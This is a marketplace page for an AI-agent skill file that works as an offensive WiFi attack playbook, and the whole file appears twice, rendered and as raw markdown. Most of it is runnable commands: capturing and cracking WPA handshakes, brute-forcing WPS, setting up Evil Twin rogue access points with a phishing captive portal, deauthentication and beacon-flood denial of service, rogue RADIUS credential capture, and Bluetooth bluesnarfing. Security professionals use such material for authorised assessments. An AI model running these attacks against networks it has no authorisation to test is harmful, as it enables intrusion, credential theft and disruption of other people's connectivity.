Attacking Wireless Networks

Attack WiFi networks using WPA/WPA2 cracking, WPS exploitation, Evil Twin attacks, deauthentication, and wireless reconnaissance. Use when pentesting wireless networks or performing WiFi security assessments.

trilwu 177c935 8.2 KB Updated Sep 10, 2026

Install

Press C to copy

$ npx skillmds add trilwu/attacking-wireless-networks

Installs into ~/.claude/skills (or .claude/skills inside a project). Restart Claude Code to pick it up.

Download SKILL.md

＋ Add to collection

README badge

[![SkillMD](https://skillmd.com/badge/trilwu/attacking-wireless-networks.svg)](https://skillmd.com/skills/trilwu/attacking-wireless-networks)

Trust & safety

Audits pending

Not yet audited · commit 177c935

Permissions this skill uses

Makes network calls
The instructions fetch remote URLs or call external services.

Works with: Claude Code Claude.ai OpenAI Codex +

File contents

Attacking Wireless Networks

When to Use

WiFi penetration testing
Wireless network security assessment
WPA/WPA2/WPA3 cracking
Evil Twin and rogue AP attacks
Wireless reconnaissance

When NOT to Use

Wired network attacks — use enumerating-network-services
Cracking the captured handshake — use cracking-passwords
Bluetooth (Classic/BLE) or NFC — use attacking-bluetooth-nfc for GATT enumeration, card cloning, and RF sniffing; this skill is Wi-Fi only
Zigbee or general SDR work beyond Wi-Fi — outside this skill's scope
Post-access network exploitation — move to performing-reconnaissance once you are on the network

Setup and Tools

Enable Monitor Mode:

# Check wireless interface
iwconfig
iw dev

# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon

# Or manually
ip link set wlan0 down
iw wlan0 set monitor none
ip link set wlan0 up

# Disable interfering processes
airmon-ng check kill

Essential Tools:

aircrack-ng suite
Wireshark
Kismet
Reaver/Bully (WPS)
Wifite (automated)
hcxtools/hcxdumptool
Fluxion (Evil Twin)

WiFi Reconnaissance

Network Discovery:

# Scan for networks
airodump-ng wlan0mon

# Scan specific channel
airodump-ng -c 6 wlan0mon

# Scan and save to file
airodump-ng -w capture wlan0mon

# Filter by BSSID
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon

Kismet:

# Start Kismet
kismet

# Command line
kismet_server
kismet_client

# View in web UI
http://localhost:2501

WPA/WPA2 Attacks

Capture Handshake

# Method 1: Wait for client connection
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Method 2: Deauth clients to force reconnect
# In another terminal
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Or target specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# Verify handshake captured
aircrack-ng capture-01.cap
# Look for "1 handshake"

Crack Handshake

Aircrack-ng:

# Crack with wordlist
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# With specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap

Hashcat:

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Crack WPA/WPA2 (mode 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt

# With rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# Mask attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

John the Ripper:

# Convert cap to john format
hccap2john capture-01.cap > hash.john

# Crack
john --wordlist=wordlist.txt hash.john

WPS Attacks

WPS Brute Force (Reaver)

# Check WPS status
wash -i wlan0mon

# Reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delay (less aggressive)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5

# Pixie Dust attack (if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K

Bully (Alternative)

# Standard attack
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Pixie Dust
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d

Evil Twin Attacks

Fluxion

# Start Fluxion
./fluxion.sh

# Follow prompts to:
# 1. Select target network
# 2. Capture handshake
# 3. Create fake AP
# 4. Launch captive portal
# 5. Capture credentials

Manual Evil Twin

# Create rogue AP
hostapd rogue_ap.conf

# Sample hostapd.conf:
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# DHCP server
dnsmasq -C dnsmasq.conf

# Sample dnsmasq.conf:
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8

# Captive portal (fake login page)
# Setup web server with phishing page

WPA3 Attacks

Dragonblood

# Dragonblood toolkit
# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)

# Dictionary attack (downgrade to WPA2)
# If SAE (WPA3) and WPA2 transition mode enabled

Brute Force SAE

# hashcat WPA3 (experimental)
hashcat -m 22000 hash.hc22000 wordlist.txt

Denial of Service

Deauthentication Attack

# Deauth all clients
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# MDK3 (more aggressive)
mdk3 wlan0mon d -c 6

Beacon Flooding

# MDK3 beacon flood
mdk3 wlan0mon b -f fake_aps.txt

# Create many fake APs
mdk3 wlan0mon b -n "FakeAP" -m -s 1000

Automated Tools

Wifite

# Automated WiFi cracking
wifite

# Target WPA only
wifite --wpa

# Target WPS only
wifite --wps

# Specific BSSID
wifite -b AA:BB:CC:DD:EE:FF

# With custom wordlist
wifite --dict wordlist.txt

WiFi-Pumpkin (Rogue AP Framework)

# Launch WiFi-Pumpkin
wifi-pumpkin

# Features:
# - Rogue AP creation
# - MITM attacks
# - DNS spoofing
# - Captive portal
# - Traffic sniffing

Enterprise WiFi (WPA-Enterprise)

EAP-TLS/PEAP Attacks

# Capture EAP handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Extract RADIUS traffic
tshark -r eap_capture-01.cap -Y "eap"

# Rogue RADIUS server
# hostapd-wpe (Wireless Pwnage Edition)
hostapd-wpe wpe.conf

# Crack captured hashes
asleap -r capture.dump -w wordlist.txt

Packet Injection Testing

# Test injection capability
aireplay-ng --test wlan0mon

# Fake authentication
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

# ARP replay attack
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

Hidden SSID Discovery

# Passive monitoring
airodump-ng wlan0mon
# Wait for client probe requests

# Active probing
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF

# Deauth and capture beacon
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

Bluetooth Attacks

Discovery

# Scan for devices
hcitool scan

# Detailed info
hcitool info AA:BB:CC:DD:EE:FF

# Service discovery
sdptool browse AA:BB:CC:DD:EE:FF

BluetoothHunting

# Bluesnarfing (file access)
bluesnarfer -b AA:BB:CC:DD:EE:FF

# Bluejacking (send messages)
echo "Message" | bluejack AA:BB:CC:DD:EE:FF

# PIN brute force
crackle -i hci0 -o pin.txt

Quick WiFi Pentest Workflow

Monitor Mode - Enable monitor mode on wireless adapter
Reconnaissance - Scan for networks (airodump-ng/kismet)
Target Selection - Choose network (WPS-enabled for easy win)
Handshake Capture - Deauth clients and capture 4-way handshake
Cracking - Crack with hashcat/aircrack-ng
Post-Exploitation - Connect and perform MITM/sniffing

Common Wins

WPS-enabled routers - Often crackable in minutes with Reaver
Weak passwords - Common WiFi passwords in rockyou.txt
WPA2 Transition Mode - Allows downgrade attacks
Open guest networks - No authentication required
Misconfigured Enterprise - Weak RADIUS authentication

Defense Detection

Wireless IDS (WIDS) may detect:
- Deauthentication attacks
- Rogue access points
- Evil Twin attacks
- WPS brute force attempts
Be aware of monitoring and physical security

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

T1040 Network Sniffing (also Discovery) — see also enumerating-network-services
T1557 Adversary-in-the-Middle (also Collection) — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

---name: attacking-wireless-networksdescription: Attack WiFi networks using WPA/WPA2 cracking, WPS exploitation, Evil Twin attacks, deauthentication, and wireless reconnaissance. Use when pentesting wireless networks or performing WiFi security assessments.---# Attacking Wireless Networks## When to Use- WiFi penetration testing- Wireless network security assessment- WPA/WPA2/WPA3 cracking- Evil Twin and rogue AP attacks- Wireless reconnaissance## When NOT to Use- **Wired network attacks** — use `enumerating-network-services`- **Cracking the captured handshake** — use `cracking-passwords`- **Bluetooth (Classic/BLE) or NFC** — use `attacking-bluetooth-nfc` for GATT enumeration, card cloning, and RF sniffing; this skill is Wi-Fi only- **Zigbee or general SDR work beyond Wi-Fi** — outside this skill's scope- **Post-access network exploitation** — move to `performing-reconnaissance` once you are on the network## Setup and Tools**Enable Monitor Mode:**```bash# Check wireless interfaceiwconfigiw dev# Enable monitor modeairmon-ng start wlan0# Creates wlan0mon# Or manuallyip link set wlan0 downiw wlan0 set monitor noneip link set wlan0 up# Disable interfering processesairmon-ng check kill```**Essential Tools:**- aircrack-ng suite- Wireshark- Kismet- Reaver/Bully (WPS)- Wifite (automated)- hcxtools/hcxdumptool- Fluxion (Evil Twin)## WiFi Reconnaissance**Network Discovery:**```bash# Scan for networksairodump-ng wlan0mon# Scan specific channelairodump-ng -c 6 wlan0mon# Scan and save to fileairodump-ng -w capture wlan0mon# Filter by BSSIDairodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon```**Kismet:**```bash# Start Kismetkismet# Command linekismet_serverkismet_client# View in web UIhttp://localhost:2501```## WPA/WPA2 Attacks### Capture Handshake```bash# Method 1: Wait for client connectionairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon# Method 2: Deauth clients to force reconnect# In another terminalaireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon# Or target specific clientaireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon# Verify handshake capturedaircrack-ng capture-01.cap# Look for "1 handshake"```### Crack Handshake**Aircrack-ng:**```bash# Crack with wordlistaircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap# With specific ESSIDaircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap```**Hashcat:**```bash# Convert to hashcat formathcxpcapngtool -o hash.hc22000 capture-01.cap# Crack WPA/WPA2 (mode 22000)hashcat -m 22000 hash.hc22000 wordlist.txt# With ruleshashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule# Mask attackhashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d```**John the Ripper:**```bash# Convert cap to john formathccap2john capture-01.cap > hash.john# Crackjohn --wordlist=wordlist.txt hash.john```## WPS Attacks### WPS Brute Force (Reaver)```bash# Check WPS statuswash -i wlan0mon# Reaver attackreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv# With delay (less aggressive)reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5# Pixie Dust attack (if vulnerable)reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K```### Bully (Alternative)```bash# Standard attackbully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon# Pixie Dustbully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d```## Evil Twin Attacks### Fluxion```bash# Start Fluxion./fluxion.sh# Follow prompts to:# 1. Select target network# 2. Capture handshake# 3. Create fake AP# 4. Launch captive portal# 5. Capture credentials```### Manual Evil Twin```bash# Create rogue APhostapd rogue_ap.conf# Sample hostapd.conf:interface=wlan0mondriver=nl80211ssid=FreeWiFichannel=6hw_mode=g# DHCP serverdnsmasq -C dnsmasq.conf# Sample dnsmasq.conf:interface=wlan0mondhcp-range=10.0.0.10,10.0.0.100,12hdhcp-option=3,10.0.0.1dhcp-option=6,10.0.0.1server=8.8.8.8# Captive portal (fake login page)# Setup web server with phishing page```## WPA3 Attacks### Dragonblood```bash# Dragonblood toolkit# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)# Dictionary attack (downgrade to WPA2)# If SAE (WPA3) and WPA2 transition mode enabled```### Brute Force SAE```bash# hashcat WPA3 (experimental)hashcat -m 22000 hash.hc22000 wordlist.txt```## Denial of Service### Deauthentication Attack```bash# Deauth all clientsaireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon# Deauth specific clientaireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon# MDK3 (more aggressive)mdk3 wlan0mon d -c 6```### Beacon Flooding```bash# MDK3 beacon floodmdk3 wlan0mon b -f fake_aps.txt# Create many fake APsmdk3 wlan0mon b -n "FakeAP" -m -s 1000```## Automated Tools### Wifite```bash# Automated WiFi crackingwifite# Target WPA onlywifite --wpa# Target WPS onlywifite --wps# Specific BSSIDwifite -b AA:BB:CC:DD:EE:FF# With custom wordlistwifite --dict wordlist.txt```### WiFi-Pumpkin (Rogue AP Framework)```bash# Launch WiFi-Pumpkinwifi-pumpkin# Features:# - Rogue AP creation# - MITM attacks# - DNS spoofing# - Captive portal# - Traffic sniffing```## Enterprise WiFi (WPA-Enterprise)### EAP-TLS/PEAP Attacks```bash# Capture EAP handshakeairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon# Extract RADIUS traffictshark -r eap_capture-01.cap -Y "eap"# Rogue RADIUS server# hostapd-wpe (Wireless Pwnage Edition)hostapd-wpe wpe.conf# Crack captured hashesasleap -r capture.dump -w wordlist.txt```## Packet Injection Testing```bash# Test injection capabilityaireplay-ng --test wlan0mon# Fake authenticationaireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon# ARP replay attackaireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon```## Hidden SSID Discovery```bash# Passive monitoringairodump-ng wlan0mon# Wait for client probe requests# Active probingmdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF# Deauth and capture beaconaireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon```## Bluetooth Attacks### Discovery```bash# Scan for deviceshcitool scan# Detailed infohcitool info AA:BB:CC:DD:EE:FF# Service discoverysdptool browse AA:BB:CC:DD:EE:FF```### BluetoothHunting```bash# Bluesnarfing (file access)bluesnarfer -b AA:BB:CC:DD:EE:FF# Bluejacking (send messages)echo "Message" | bluejack AA:BB:CC:DD:EE:FF# PIN brute forcecrackle -i hci0 -o pin.txt```## Quick WiFi Pentest Workflow1. **Monitor Mode** - Enable monitor mode on wireless adapter2. **Reconnaissance** - Scan for networks (airodump-ng/kismet)3. **Target Selection** - Choose network (WPS-enabled for easy win)4. **Handshake Capture** - Deauth clients and capture 4-way handshake5. **Cracking** - Crack with hashcat/aircrack-ng6. **Post-Exploitation** - Connect and perform MITM/sniffing## Common Wins- **WPS-enabled routers** - Often crackable in minutes with Reaver- **Weak passwords** - Common WiFi passwords in rockyou.txt- **WPA2 Transition Mode** - Allows downgrade attacks- **Open guest networks** - No authentication required- **Misconfigured Enterprise** - Weak RADIUS authentication## Defense Detection- Wireless IDS (WIDS) may detect: - Deauthentication attacks - Rogue access points - Evil Twin attacks - WPS brute force attempts- Be aware of monitoring and physical security## ATT&CK Coverage_Generated from `secskills-core/ttp-index.json` — edit that file, then run`python3 scripts/sync_attack.py --write`. Re-verify IDs against thecurrent ATT&CK release before citing them in a report._**Credential Access** (TA0006)- [T1040](https://attack.mitre.org/techniques/T1040/) Network Sniffing _(also Discovery)_ — see also `enumerating-network-services`- [T1557](https://attack.mitre.org/techniques/T1557/) Adversary-in-the-Middle _(also Collection)_ — see also `attacking-active-directory`Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.## References- https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi- https://www.aircrack-ng.org/- https://github.com/wifiphisher/wifiphisher- https://www.kali.org/tools/

trilwu/secskills/tree/main/secskills-offense/skills/attacking-wireless-networks commit 177c9355bd

Frequently asked questions

npx skillmds add trilwu/attacking-wireless-networks